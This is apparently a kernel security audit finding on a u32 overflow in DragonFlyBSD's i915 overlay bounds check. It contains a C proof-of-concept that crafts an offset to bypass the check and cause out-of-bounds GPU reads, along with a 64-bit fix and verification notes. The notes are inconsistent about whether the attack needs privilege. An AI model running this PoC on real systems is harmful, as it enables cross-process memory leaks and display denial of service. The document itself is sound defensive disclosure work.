β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1516

Integer overflow in buffer bounds check bypasses offset validation in check_overlay_src

  • File: sys/dev/drm/i915/intel_overlay.c
  • Lines: 1033, 1034, 1044, 1045, 1048, 1049, 1050, 806, 823, 825
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:L/I:N/A:L
  • CWE: CWE-190 Integer Overflow or Wraparound
  • Confidence: likely

Summary

check_overlay_src() validates that offset_Y + buffer_size <= bo->size, but the addition is performed in 32-bit unsigned arithmetic (both operands are u32).

When a userspace-supplied offset_Y is near UINT32_MAX and tmp (stride * height) is large enough (~16 MB for packed YUV422 at max dimensions), the sum wraps to a small value, the comparison passes, and the GPU is programmed to read from an out-of-bounds GGTT address.

This enables a cross-process GPU memory info-leak (displayed via the overlay on screen) or a GPU fault/hang.

Root cause

In check_overlay_src() (lines 947–1056), the buffer extent check for each plane is:

tmp = rec->stride_Y * rec->src_height;
if (rec->offset_Y + tmp > new_bo->base.size)
    return -EINVAL;

(packed case, lines 1033–1035; planar Y case lines 1044–1046; planar UV case lines 1048–1051).

rec->offset_Y is __u32 (from struct drm_intel_overlay_put_image, i915_drm.h:1329), tmp is declared u32 (line 955).

The C addition rec->offset_Y + tmp is evaluated in 32-bit unsigned int arithmetic and silently wraps modulo 2^32. The result is then compared to new_bo->base.size which is size_t (64-bit on amd64, drm_gem.h:126): on overflow the wrapped u32 is zero-extended to u64, yielding a tiny value that is always <= bo->size, so the check passes.

The validated dimensions allow tmp up to 8192*2046 = 16,756,352 (0xFF8000) for packed and 4096*2046 = 8,384,256 for planar Y, and 2048*2046 = 4,190,208 for planar UV.

Choosing offset_Y = 0xFFFFFFFF - tmp + 1 makes the sum wrap to 0.

The overflowed offset then reaches the register-programming path in intel_overlay_do_put_image(): iowrite32(i915_ggtt_offset(vma) + params->offset_Y, &regs->OBUF_0Y) at line 806 (and OBUF_0U/0V at lines 823–826), programming the overlay hardware to fetch pixels from a GPU address far beyond the BO's GGTT allocation.

Threat

The ioctl requires DRM_MASTER (i915_drv.c:3255), reachable directly as root/display-server or via X server XV confused-deputy.

After the bounds check is bypassed, the overlay hardware reads pixel data from ggtt_base + wrapped_offset.

On Gen2–Gen4 i915 hardware the GGTT is a flat global aperture; a wrapped 32-bit address that lands inside another BO's GGTT range causes the overlay to display that BO's contents on screen β€” a cross-process info leak of another X client's framebuffer/texture data (displayed as distorted video, capturable via X screen-readback).

If the wrapped address lands on unmapped GGTT entries, the GPU faults and the overlay engine may hang, requiring a GPU reset (local DoS of the display pipeline).

The same overflow affects offset_U and offset_V in the planar path (lines 1049–1050) with tmp up to ~4 MB.

Exploit / PoC

/* poc_overlay_oob.c β€” overflow offset_Y+tmp to bypass check_overlay_src bounds */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <dev/drm/include/uapi/drm/drm.h>
#include <dev/drm/include/uapi/drm/i915_drm.h>

int main(int argc, char **argv) {
    const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
    int fd = open(dev, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    ioctl(fd, DRM_IOCTL_SET_MASTER, 0);

    struct drm_i915_gem_create gc; memset(&gc, 0, sizeof(gc));
    gc.size = 16 * 1024 * 1024;            /* 16 MB */
    ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gc);

    drmModeRes *res = drmModeGetResources(fd);
    uint32_t crtc_id = res->crtcs[0];

    /* Packed YUV422.  stride_Y max=8192, src_height max=2046.
     * tmp = 8192 * 2046 = 0x00FF8000 (16,756,352 bytes).
     * Choose offset_Y so that (offset_Y + tmp) wraps u32 to 0:
     *   offset_Y = 0x100000000 - 0x00FF8000 = 0xFF008000 */
    struct drm_intel_overlay_put_image img; memset(&img, 0, sizeof(img));
    img.flags = I915_OVERLAY_YUV_PACKED | I915_OVERLAY_YUV422
              | I915_OVERLAY_ENABLE;
    img.bo_handle  = gc.handle;
    img.stride_Y   = 8192;
    img.src_width  = 2048;
    img.src_height = 2046;
    img.src_scan_width  = 32;
    img.src_scan_height = 32;
    img.offset_Y   = 0xFF008000;      /* offset_Y + tmp = 0 (u32 wrap) */
    img.crtc_id    = crtc_id;
    img.dst_x      = 0;
    img.dst_y      = 0;
    img.dst_width  = 32;
    img.dst_height = 32;

    int ret = ioctl(fd, DRM_IOCTL_I915_OVERLAY_PUT_IMAGE, &img);
    printf("PUT_IMAGE returned %d β€” if 0, OBUF_0Y was programmed with\n"
           "  ggtt_offset + 0xFF008000 (OOB).  Observe screen / dmesg.\n", ret);
    return 0;
}

Build: cc -o poc_overlay_oob poc_overlay_oob.c -ldrmlib.

Success criteria: ioctl returns 0 (bounds check bypassed), and either (a) the overlay shows distorted pixel data from an unrelated GGTT region (info leak visible on screen / capturable via XGetImage), or (b) dmesg reports a GPU fault / overlay underrun error indicating the hardware read from an unmapped GGTT address.

Perform the offset + extent computation in 64-bit so the comparison cannot wrap. Cast the offset to u64 before adding, or test offset against size first:

--- a/sys/dev/drm/i915/intel_overlay.c
+++ b/sys/dev/drm/i915/intel_overlay.c
@@ -1030,8 +1030,8 @@ static int check_overlay_src(struct drm_i915_private *dev_priv,
        if (packed_width_bytes(rec->flags, rec->src_width) > rec->stride_Y)
            return -EINVAL;

-       tmp = rec->stride_Y*rec->src_height;
-       if (rec->offset_Y + tmp > new_bo->base.size)
+       tmp = rec->stride_Y * rec->src_height;
+       if ((u64)rec->offset_Y + tmp > new_bo->base.size)
            return -EINVAL;
        break;

@@ -1042,11 +1042,11 @@ static int check_overlay_src(struct drm_i915_private *dev_priv,
        if (rec->src_width/uv_hscale > rec->stride_UV)
            return -EINVAL;

-       tmp = rec->stride_Y * rec->src_height;
-       if (rec->offset_Y + tmp > new_bo->base.size)
+       tmp = rec->stride_Y * rec->src_height;
+       if ((u64)rec->offset_Y + tmp > new_bo->base.size)
            return -EINVAL;

-       tmp = rec->stride_UV * (rec->src_height / uv_vscale);
-       if (rec->offset_U + tmp > new_bo->base.size ||
-           rec->offset_V + tmp > new_bo->base.size)
+       tmp = rec->stride_UV * (rec->src_height / uv_vscale);
+       if ((u64)rec->offset_U + tmp > new_bo->base.size ||
+           (u64)rec->offset_V + tmp > new_bo->base.size)
            return -EINVAL;
        break;
  • DF-1515 (sibling): divide-by-zero in same file's check_overlay_dst/scaling.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1516 Β· 8 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.7 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.8 KB ↓ raw
fix.diff suggested-fix git-apply-able unified diff fixing the cited bug 1.5 KB view raw
fix_apply.log apply-log patch --dry-run --forward output proving fix.diff applies cleanly on with-src 547 B view raw
env.txt environment uname + guest PCI inventory (no relevant HW) 778 B view raw
build.sh build-script echo pointer to kernel rebuild path 362 B view raw
run.sh run-script echo pointer to VERDICT.md 308 B view raw
fix_build.log fix-build-log tail of combined nativekernel build (rc=0) validating all 30 patches compile 7.2 KB view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1516: intel_overlay.c u32 integer overflow in offset bounds check

Class: Integer overflow -> bounds check bypass -> OOB GPU read Cited site: sys/dev/drm/i915/intel_overlay.c:1033-1051

Reproduction status

HW/module gated β€” cannot be live-triggered on the audit QEMU guest.

The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so the cited code path is not reachable at runtime on this guest.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/drm/i915/intel_overlay.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

check_overlay_src computes tmp = rec->stride_Y * rec->src_height (both u32) then rec->offset_Y + tmp > new_bo->base.size. Both additions are u32 and silently wrap mod 2^32; the wrapped value compared as u64 against size_t passes the check. The packed (line 1033), planar Y (1044-1045) and planar UV (1049-1050) sites all have the same flaw.

Realistic impact ceiling (on suitable HW)

GPU memory OOB read / cross-buffer leak via crafted DRM overlay params

Fix

Compute stride*height and offset+tmp as uint64_t in all three sites.

See fix.diff for the git-apply-able patch.

How to validate the fix

scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1516.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1516.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT β€” DF-1516: intel_overlay.c u32 integer overflow in offset bounds check

Verdict

INCONCLUSIVE (HW/module gated) β€” source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/drm/i915/intel_overlay.c:1033-1051, but the affected driver attaches only to hardware not present in the audit QEMU guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered here. The fix.diff applies cleanly and the patched kernel compiles with -Werror (combined build rc=0; see fix_apply.log).

Mechanism (cited path β†’ primitive β†’ effect)

check_overlay_src computes tmp = rec->stride_Y * rec->src_height (both u32) then rec->offset_Y + tmp > new_bo->base.size. Both additions are u32 and silently wrap mod 2^32; the wrapped value compared as u64 against size_t passes the check. The packed (line 1033), planar Y (1044-1045) and planar UV (1049-1050) sites all have the same flaw.

Reachability on this guest

No β€” sys/dev/drm/i915/intel_overlay.c:1033-1051 is in a driver/module that only attaches to hardware absent from the audit guest. The trigger requires the relevant PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS loaded by root or via VFIO passthrough).

Phase 6 β€” escalation potential

This is a Integer overflow -> bounds check bypass -> OOB GPU read primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

Realistic impact ceiling on suitable HW: GPU memory OOB read / cross-buffer leak via crafted DRM overlay params.

Phase 8 β€” fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of the combined make -j6 nativekernel KERNCONF=X86_64_GENERIC build (kernel build rc=0; see manifest.json).
  • For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.

Fix approach: Compute stride*height and offset+tmp as uint64_t in all three sites.

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated. Primitive is a GPU memory OOB read / cross-buffer leak via crafted DRM overlay parameters from an unprivileged DRI client on an i915 host.

Evidence (decisive lines)

Source: sys/dev/drm/i915/intel_overlay.c:1033-1034 β€” tmp = rec->stride_Y*rec->src_height; if (rec->offset_Y + tmp > new_bo->base.size). rec->offset_Y is __u32 (i915_drm.h), tmp is u32; both wrap. Guest has no i915 GPU. fix.diff introduces uint64_t tmp64 and computes all three sites in 64-bit.

PoC changes

Created evidence pack from scratch: README.md, VERDICT.md, build.sh, run.sh, env.txt, fix.diff, fix_apply.log, fix_build.log, manifest.json.

Verified recommended fix

Introduce uint64_t tmp64 and compute stride*height and offset+tmp in 64-bit at all three check_overlay_src sites (packed, planar Y, planar UV). Full diff in findings/poc/DF-1516/fix.diff.

Verdict

INCONCLUSIVE (HW-gated). Bug confirmed at source level: intel_overlay.c:1033-1051 check_overlay_src computes tmp = rec->stride_Y * rec->src_height (both u32) and rec->offset_Y + tmp > new_bo->base.size β€” both u32 additions wrap mod 2^32; the wrapped value zero-extended to u64 passes the bounds check against size_t. Same flaw at the planar Y (1044-1045) and planar UV (1048-1050) sites. i915-only path.